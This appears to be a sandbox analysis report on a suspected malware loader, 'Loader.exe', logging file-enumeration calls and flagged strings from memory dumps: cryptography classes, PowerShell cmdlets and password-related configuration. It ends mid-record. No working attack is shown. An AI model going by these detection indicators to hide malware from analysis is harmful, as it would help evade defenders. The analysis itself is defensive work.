"FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00006460) "Loader.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006460) "Loader.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006460) "Loader.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006460) "Loader.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006460) "Loader.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006460) "Loader.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00006460) "Loader.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00006460) "Loader.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00006460) "Loader.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\script\* (UID: 00000000-00006460) "Loader.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00006460) "Loader.exe" called "FindNextFileW" with parameter ea893d7e336a196c927c3f1251a1d1a9 (UID: 00000000-00006460) "Loader.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00006460) "Loader.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00006460) "Loader.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00006460) "Loader.exe" called "FindNextFileW" with parameter 990501e6199819806f01c8ecac88baac (UID: 00000000-00006460) "Loader.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\* (UID: 00000000-00006460)53:T1701,file/memory contains long string with (Indicator: "aes"; File: "Loader.exe") file/memory contains long string with (Indicator: "aes"; File: "powershell.exe") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006460.00000000.174701.01050000.00000004.mdmp, 00000000-00006460.00000001.176621.01050000.00000004.mdmp, 00000000-00006460.00000002.178540.01050000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006460.00000000.174701.01050000.00000004.mdmp, 00000000-00006460.00000000.174701.03170000.00000004.mdmp, 00000000-00006460.00000001.176621.01050000.00000004.mdmp, 00000000-00006460.00000002.178540.01050000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Uses RsaCryptoServiceProvider to encrypt and decrypt" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ecdsa"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.MD5Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp")54:Td74,Found string "Select-Object" (Indicator: "Select-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Measure-Object" (Indicator: "Measure-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -match '^Verbs.'} |" (Indicator: "Where-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object @{" (Indicator: "Select-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "$allVerbs | Microsoft.PowerShell.Core\Where-Object { $_.Verb -like $v }" (Indicator: "Where-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "ForEach-Object" (Indicator: "ForEach-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Where-Object" (Indicator: "Where-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Compare-Object" (Indicator: "Compare-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Group-Object" (Indicator: "Group-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Tee-Object" (Indicator: "Tee-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Select-Object" (Indicator: "Select-Object"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Measure-Object" (Indicator: "Measure-Object"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -match '^Verbs.'} |" (Indicator: "Where-Object"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object @{" (Indicator: "Select-Object"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "$allVerbs | Microsoft.PowerShell.Core\Where-Object { $_.Verb -like $v }" (Indicator: "Where-Object"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "ForEach-Object" (Indicator: "ForEach-Object"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Where-Object" (Indicator: "Where-Object"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Compare-Object" (Indicator: "Compare-Object"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Group-Object" (Indicator: "Group-Object"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Tee-Object" (Indicator: "Tee-Object"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path -LiteralPath $LiteralPath | Foreach-Object ProviderPath" (Indicator: "ForEach-Object"; Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path $Path | Foreach-Object ProviderPath" (Indicator: "ForEach-Object"; Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp")55:T604,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp")56:T99c,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "wGetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "$tempFilePath = [System.IO.Path]::GetTempFileName()" (Indicator: "GetTempFileName"; Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp")57:Tc82,Found string "}; Get-Help" (Indicator: "Get-Help"; File: "Loader.exe") Found string "}; Get-Help" (Indicator: "Get-Help"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Command" (Indicator: "Get-Command"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Module" (Indicator: "Get-Module"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-FormatData" (Indicator: "Get-FormatData"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Help" (Indicator: "Get-Help"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string ".FORWARDHELPTARGETNAME Get-Help" (Indicator: "Get-Help"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Help @PSBoundParameters | more" (Indicator: "Get-Help"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Get-Member -type Properties -static |" (Indicator: "Get-Member"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-PSBreakpoint" (Indicator: "Get-PSBreakpoint"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Variable" (Indicator: "Get-Variable"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Content $file | more.com" (Indicator: "Get-Content"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "$null = Read-Host '" (Indicator: "Read-Host"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Verb" (Indicator: "Get-Verb"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "$null = Read-Host 'Press Enter to continue...'" (Indicator: "Read-Host"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-WinEvent" (Indicator: "Get-WinEvent"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Counter" (Indicator: "Get-Counter"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-History" (Indicator: "Get-History"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-PSHostProcessInfo" (Indicator: "Get-PSHostProcessInfo"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-PSSnapin" (Indicator: "Get-PSSnapIn"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Member" (Indicator: "Get-Member"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Culture" (Indicator: "Get-Culture"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-UICulture" (Indicator: "Get-Uiculture"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-PSCallStack" (Indicator: "Get-PSCallStack"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Unique" (Indicator: "Get-Unique"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp")58:T82e,Found string "password" (Indicator: "password"; File: "Loader.exe") Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "password" (Indicator: "password"; Source: "00000000-00006460.00000001.176621.00AA2000.00000002.mdmp") Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp, 00000000-00008316.00000000.175421.56000000.00000004.mdmp, 00000000-00008316.00000001.177341.56000000.00000004.mdmp, 00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp, 00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp, 00000000-00008316.00000000.175421.56000000.00000004.mdmp")59:T1500,Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00006460-00000BC0-1746597147") Found string "\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00006460-00000BC0-1746692100") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004152.00000000.175960.8D2B0000.00000004.mdmp, 00000000-00004152.00000000.175960.8D540000.00000004.mdmp, 00000000-00004152.00000000.175960.8EEE0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004152.00000000.175960.8D2B0000.00000004.mdmp, 00000000-00004152.00000000.175960.8D540000.00000004.mdmp, 00000000-00004152.00000000.175960.8EEE0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00004152.00000000.175960.8D2B0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00006460.00000000.174701.01050000.00000004.mdmp, 00000000-00006460.00000001.176621.01050000.00000004.mdmp, 00000000-00006460.00000002.178540.01050000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00006460.00000000.174701.01050000.00000004.mdmp, 00000000-00006460.00000000.174701.01340000.00000004.mdmp, 00000000-00006460.00000000.174701.01610000.00000004.mdmp, 00000000-00006460.00000000.174701.1BCA0000.00000004.mdmp, 00000000-00006460.00000001.176621.01050000.00000004.mdmp, 00000000-00006460.00000001.176621.1BCA0000.00000004.mdmp, 00000000-00006460.00000001.176621.1BD4D000.00000004.mdmp, 00000000-00006460.00000002.178540.01050000.00000004.mdmp, 00000000-00006460.00000002.178540.01610000.00000004.mdmp, 00000000-00006460.00000002.178540.1BCA0000.00000004.mdmp, 00000000-00006460.00000002.178540.1BD4D000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00006460.00000000.174701.01050000.00000004.mdmp, 00000000-00006460.00000000.174701.01340000.00000004.mdmp, 00000000-00006460.00000000.174701.01610000.00000004.mdmp, 00000000-00006460.00000000.174701.1BCA0000.00000004.mdmp, 00000000-00006460.00000001.176621.01050000.00000004.mdmp, 00000000-00006460.00000001.176621.1BCA0000.00000004.mdmp, 00000000-00006460.00000001.176621.1BD4D000.00000004.mdmp, 00000000-00006460.00000002.178540.01050000.00000004.mdmp, 00000000-00006460.00000002.178540.01610000.00000004.mdmp, 00000000-00006460.00000002.178540.1BCA0000.00000004.mdmp, 00000000-00006460.00000002.178540.1BD4D000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00008316.00000000.175421.3BBA0000.00000004.mdmp, 00000000-00008316.00000000.175421.3BF70000.00000004.mdmp, 00000000-00008316.00000000.175421.3D880000.00000004.mdmp, 00000000-00008316.00000000.175421.56000000.00000004.mdmp, 00000000-00008316.00000001.177341.3BBA0000.00000004.mdmp, 00000000-00008316.00000001.177341.3BF70000.00000004.mdmp, 00000000-00008316.00000001.177341.3D880000.00000004.mdmp, 00000000-00008316.00000001.177341.56000000.00000004.mdmp, 00000000-00008316.00000001.177341.56400000.00000004.mdmp, 00000000-00008316.00000002.179261.3BBA0000.00000004.mdmp, 00000000-00008316.00000002.179261.3BF70000.00000004.mdmp, 00000000-00008316.00000002.179261.3D880000.00000004.mdmp, 00000000-00008316.00000002.179261.56000000.00000004.mdmp, 00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00008316.00000000.175421.3BBA0000.00000004.mdmp, 00000000-00008316.00000000.175421.3BF70000.00000004.mdmp, 00000000-00008316.00000000.175421.3D880000.00000004.mdmp, 00000000-00008316.00000000.175421.56000000.00000004.mdmp, 00000000-00008316.00000001.177341.3BBA0000.00000004.mdmp, 00000000-00008316.00000001.177341.3BF70000.00000004.mdmp, 00000000-00008316.00000001.177341.3D880000.00000004.mdmp, 00000000-00008316.00000001.177341.56000000.00000004.mdmp, 00000000-00008316.00000001.177341.56400000.00000004.mdmp, 00000000-00008316.00000002.179261.3BBA0000.00000004.mdmp, 00000000-00008316.00000002.179261.3BF70000.00000004.mdmp, 00000000-00008316.00000002.179261.3D880000.00000004.mdmp, 00000000-00008316.00000002.179261.56000000.00000004.mdmp, 00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00008316.00000000.175421.3BBA0000.00000004.mdmp, 00000000-00008316.00000001.177341.3BBA0000.00000004.mdmp, 00000000-00008316.00000002.179261.3BBA0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp, 00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found string "\Device\HarddiskVolume4" (Indicator: "\Device\"; Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp, 00000000-00008316.00000002.179261.56400000.00000004.mdmp")5a:T948,Found string "Remove-Module" (Indicator: "Remove-Module"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-PSBreakpoint" (Indicator: "Remove-PSBreakpoint"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-Variable" (Indicator: "Remove-Variable"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-PSSnapin" (Indicator: "Remove-PSSnapin"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-TypeData" (Indicator: "Remove-TypeData"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-Event" (Indicator: "Remove-Event"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Unregister-Event" (Indicator: "Unregister-Event"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-PSDrive" (Indicator: "Remove-PSDrive"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-ItemProperty" (Indicator: "Remove-ItemProperty"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-Computer" (Indicator: "Remove-Computer"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-WmiObject" (Indicator: "Remove-WmiObject"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-Module" (Indicator: "Remove-Module"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Remove-PSBreakpoint" (Indicator: "Remove-PSBreakpoint"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Remove-Variable" (Indicator: "Remove-Variable"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Remove-PSDrive" (Indicator: "Remove-PSDrive"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Remove-ItemProperty" (Indicator: "Remove-ItemProperty"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Remove-PSSnapin" (Indicator: "Remove-PSSnapin"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Remove-WMIObject" (Indicator: "Remove-WmiObject"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp")5b:T5cb,Found string "Disable-PSBreakpoint" (Indicator: "Disable-PSBreakpoint"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Stop-Transcript" (Indicator: "Stop-Transcript"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Disable-PSRemoting" (Indicator: "Disable-PSRemoting"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Disable-RunspaceDebug" (Indicator: "Disable-RunspaceDebug"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Stop-Process" (Indicator: "Stop-Process"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Suspend-Service" (Indicator: "Suspend-Service"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Disable-ComputerRestore" (Indicator: "Disable-ComputerRestore"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Stop-Computer" (Indicator: "Stop-Computer"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Disable-PSBreakpoint" (Indicator: "Disable-PSBreakpoint"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Stop-Process" (Indicator: "Stop-Process"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Disable-PSRemoting" (Indicator: "Disable-PSRemoting"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp")5c:T6e1,Found string "Disable-WSManCredSSP" (Indicator: "Disable-WSManCredSSP"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Enable-WSManCredSSP" (Indicator: "Enable-WSManCredSSP"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-WSManCredSSP" (Indicator: "Get-WSManCredSSP"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-WSManQuickConfig" (Indicator: "Set-WSManQuickConfig"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Test-WSMan" (Indicator: "Test-WSMan"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Invoke-WSManAction" (Indicator: "Invoke-WSManAction"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Connect-WSMan" (Indicator: "Connect-WSMan"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Disconnect-WSMan" (Indicator: "Disconnect-WSMan"; Source: 